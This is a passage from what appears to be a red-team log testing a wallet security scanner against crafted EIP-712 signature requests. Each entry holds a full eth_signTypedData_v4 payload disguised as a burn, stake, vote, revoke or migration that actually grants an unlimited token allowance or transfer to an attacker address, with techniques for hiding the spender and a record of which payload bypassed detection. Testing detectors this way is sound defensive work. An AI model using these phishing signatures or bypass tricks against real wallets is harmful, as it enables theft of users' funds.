Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"config\":{\"security\":{\"admins\":[{\"address\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"level\":255}],\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"enabled\":true},\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "NESTED-002", "timestamp": "2026-01-31T16:43:28.326Z", "technique": "Metadata nested recipient", "category": "nested", "description": "Spender in metadata.attributes structure", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Attribute\":[{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"address\"}],\"Metadata\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"attributes\",\"type\":\"Attribute[]\"}],\"UpdateMetadata\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"metadata\",\"type\":\"Metadata\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateMetadata\",\"domain\":{\"name\":\"NFT Registry\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"metadata\":{\"name\":\"My Token\",\"attributes\":[{\"key\":\"creator\",\"value\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"},{\"key\":\"curator\",\"value\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\"},{\"key\":\"beneficiary\",\"value\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\"}]},\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "NESTED-003", "timestamp": "2026-01-31T16:43:37.499Z", "technique": "Batch operations hiding", "category": "nested", "description": "Malicious op hidden among benign ones", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Operation\":[{\"name\":\"opType\",\"type\":\"uint8\"},{\"name\":\"target\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"}],\"BatchOps\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"operations\",\"type\":\"Operation[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"BatchOps\",\"domain\":{\"name\":\"Batch Executor\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operations\":[{\"opType\":1,\"target\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"amount\":\"1000000\"},{\"opType\":1,\"target\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"amount\":\"2000000\"},{\"opType\":2,\"target\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},{\"opType\":1,\"target\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"amount\":\"500000\"}],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "IMPERSONATE-001", "timestamp": "2026-01-31T16:43:46.862Z", "technique": "ENS update impersonation", "category": "impersonate", "description": "Looks like ENS resolver update", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetText\":[{\"name\":\"node\",\"type\":\"bytes32\"},{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"string\"},{\"name\":\"resolver\",\"type\":\"address\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"SetText\",\"domain\":{\"name\":\"ENS Public Resolver\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"node\":\"0x0000000000000000000000000000000000000000000000000000000000000000\",\"key\":\"avatar\",\"value\":\"https://example.com/avatar.png\",\"resolver\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "IMPERSONATE-002", "timestamp": "2026-01-31T16:43:56.051Z", "technique": "DAO vote impersonation", "category": "impersonate", "description": "Looks like casting a DAO vote", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Vote\":[{\"name\":\"proposalId\",\"type\":\"uint256\"},{\"name\":\"voter\",\"type\":\"address\"},{\"name\":\"support\",\"type\":\"bool\"},{\"name\":\"delegate\",\"type\":\"address\"},{\"name\":\"votingPower\",\"type\":\"uint256\"}]},\"primaryType\":\"Vote\",\"domain\":{\"name\":\"Governance\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"proposalId\":\"42\",\"voter\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"support\":true,\"delegate\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"votingPower\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "IMPERSONATE-003", "timestamp": "2026-01-31T16:44:05.420Z", "technique": "NFT metadata impersonation", "category": "impersonate", "description": "Looks like updating NFT metadata", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"UpdateTokenURI\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"newURI\",\"type\":\"string\"},{\"name\":\"royaltyRecipient\",\"type\":\"address\"},{\"name\":\"royaltyBps\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateTokenURI\",\"domain\":{\"name\":\"NFT Collection\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"newURI\":\"ipfs://QmExample\",\"royaltyRecipient\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"royaltyBps\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "IMPERSONATE-004", "timestamp": "2026-01-31T16:44:14.571Z", "technique": "Social recovery impersonation", "category": "impersonate", "description": "Looks like adding recovery guardian", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"AddGuardian\":[{\"name\":\"wallet\",\"type\":\"address\"},{\"name\":\"guardian\",\"type\":\"address\"},{\"name\":\"threshold\",\"type\":\"uint256\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"AddGuardian\",\"domain\":{\"name\":\"Social Recovery Module\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"wallet\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"guardian\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "DECOY-001", "timestamp": "2026-01-31T16:44:23.753Z", "technique": "Address array flooding", "category": "decoy", "description": "Spender is 1 of 20 addresses", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MultiSend\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"recipients\",\"type\":\"address[]\"},{\"name\":\"amounts\",\"type\":\"uint256[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"MultiSend\",\"domain\":{\"name\":\"Multi Sender\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"recipients\":[\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"0xE592427A0AEce92De3Edee1F18E0157C05861564\",\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"0x000000000022D473030F116dDEE9F6B43aC78BA3\",\"0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2\",\"0x6B175474E89094C44Da98b954EedcdCdAe53739cE\",\"0xdAC17F958D2ee523a2206206994597C13D831ec7\",\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"],\"amounts\":[\"100000\",\"200000\",\"300000\",\"400000\",\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"100000\",\"200000\",\"300000\",\"400000\",\"500000\"],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": true } }, { "id": "DECOY-002", "timestamp": "2026-01-31T16:44:32.952Z", "technique": "Multi-recipient decoy", "category": "decoy", "description": "Attacker hidden among legit recipients", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Recipient\":[{\"name\":\"addr\",\"type\":\"address\"},{\"name\":\"share\",\"type\":\"uint256\"},{\"name\":\"label\",\"type\":\"string\"}],\"SplitPayment\":[{\"name\":\"payer\",\"type\":\"address\"},{\"name\":\"totalAmount\",\"type\":\"uint256\"},{\"name\":\"recipients\",\"type\":\"Recipient[]\"}]},\"primaryType\":\"SplitPayment\",\"domain\":{\"name\":\"Payment Splitter\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"payer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"totalAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"recipients\":[{\"addr\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"share\":\"1000\",\"label\":\"Treasury\"},{\"addr\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"share\":\"500\",\"label\":\"Marketing\"},{\"addr\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"share\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"label\":\"Operations\"},{\"addr\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"share\":\"250\",\"label\":\"Dev Fund\"}]}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "VALUE-001", "timestamp": "2026-01-31T16:44:42.112Z", "technique": "Zero means unlimited", "category": "value", "description": "Value=0 but contract interprets as max", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetLimit\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"spender\",\"type\":\"address\"},{\"name\":\"limit\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"SetLimit\",\"domain\":{\"name\":\"Spending Limits\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"spender\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"limit\":\"0\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "VALUE-002", "timestamp": "2026-01-31T16:44:51.264Z", "technique": "Negative value illusion", "category": "value", "description": "Max uint256 displayed as -1", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Adjust\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"operator\",\"type\":\"address\"},{\"name\":\"adjustment\",\"type\":\"int256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Adjust\",\"domain\":{\"name\":\"Balance Adjuster\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"adjustment\":\"-1\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "ACTION-001", "timestamp": "2026-01-31T16:45:00.440Z", "technique": "Burn that transfers", "category": "action", "description": "Looks like burning but transfers to spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Burn\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"burnAddress\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Burn\",\"domain\":{\"name\":\"Token Burner\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"burnAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "ACTION-002", "timestamp": "2026-01-31T16:45:09.623Z", "technique": "Lock that approves", "category": "action", "description": "Looks like locking tokens but approves", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"LockTokens\":[{\"name\":\"locker\",\"type\":\"address\"},{\"name\":\"lockContract\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"duration\",\"type\":\"uint256\"}]},\"primaryType\":\"LockTokens\",\"domain\":{\"name\":\"Token Locker\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"locker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"lockContract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"duration\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "ACTION-003", "timestamp": "2026-01-31T16:45:18.817Z", "technique": "Stake that approves", "category": "action", "description": "Looks like staking but grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Stake\":[{\"name\":\"staker\",\"type\":\"address\"},{\"name\":\"stakingPool\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"lockPeriod\",\"type\":\"uint256\"}]},\"primaryType\":\"Stake\",\"domain\":{\"name\":\"Staking Rewards\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"staker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"stakingPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"lockPeriod\":\"31536000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "ACTION-004", "timestamp": "2026-01-31T16:45:27.976Z", "technique": "Migration to attacker", "category": "action", "description": "Looks like v2 migration but goes to attacker", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MigrateToV2\":[{\"name\":\"holder\",\"type\":\"address\"},{\"name\":\"v2Contract\",\"type\":\"address\"},{\"name\":\"migrateAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"MigrateToV2\",\"domain\":{\"name\":\"Token Migration\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"holder\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"v2Contract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"migrateAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "RUN16-EIP3009-022", "timestamp": "2026-01-31T16:45:37.122Z", "technique": "EIP-3009 uppercase addresses", "category": "eip3009", "description": "EIP-3009 with addresses in all uppercase (invalid checksum)", "expectedBypass": "Invalid checksum might confuse validators", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0B86991C6218B36C1D19D4A2E9EB0CE3606EB48\"},\"message\":{\"from\":\"0x027821C81BC29F8860E7A17AB759ED000C97F178\",\"to\":\"0x87EF9D8F1CEC5AFC1A46B472D068FB84E7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0xf17e15450305bb8caa3ace8a67dbc3514ac14def7958924a35f379a1fa5bab1f\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN16-EIP3009-054", "timestamp": "2026-01-31T16:45:43.660Z", "technique": "EIP-3009 self transfer", "category": "eip3009", "description": "EIP-3009 where from = SPENDER (attacker sending to self)", "expectedBypass": "Self-transfer might seem benign", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x9de814ccc58a6cbc87cef0f580f55d518197690891015d0e78ce0727386f3a60\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Execution reverted with reason: ERC20: transfer amount exceeds balance.\n\nRaw Call Arguments:\n from: 0x027821c81bc29f8860e7a17ab759ed000c97f178\n to: 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\n d" } }, { "id": "SEMANTIC-001", "timestamp": "2026-01-31T16:45:53.322Z", "technique": "RevokeAccess type that grants", "category": "semantic", "description": "Type named RevokeAccess but grants unlimited approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"RevokeAccess\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"revokedAddress\",\"type\":\"address\"},{\"name\":\"revokeAmount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"RevokeAccess\",\"domain\":{\"name\":\"Token Security Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"revokedAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"revokeAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "SEMANTIC-002", "timestamp": "2026-01-31T16:46:02.496Z", "technique": "DisableWithdrawals type", "category": "semantic", "description": "Sounds like disabling but enables", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"DisableWithdrawals\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"disabledFor\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"expiry\",\"type\":\"uint256\"}]},\"primaryType\":\"DisableWithdrawals\",\"domain\":{\"name\":\"Vault Security\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"disabledFor\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"expiry\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "SEMANTIC-003", "timestamp": "2026-01-31T16:46:11.673Z", "technique": "SecurityUpdate type", "category": "semantic", "description": "Looks like security config but adds spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SecurityConfig\":[{\"name\":\"token\",\"type\":\"address\"},{\"name\":\"maxAmount\",\"type\":\"uint256\"}],\"SecurityUpdate\":[{\"name\":\"user\",\"type\":\"address\"},{\"name\":\"trustedOperator\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"SecurityConfig\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"SecurityUpdate\",\"domain\":{\"name\":\"Security Manager 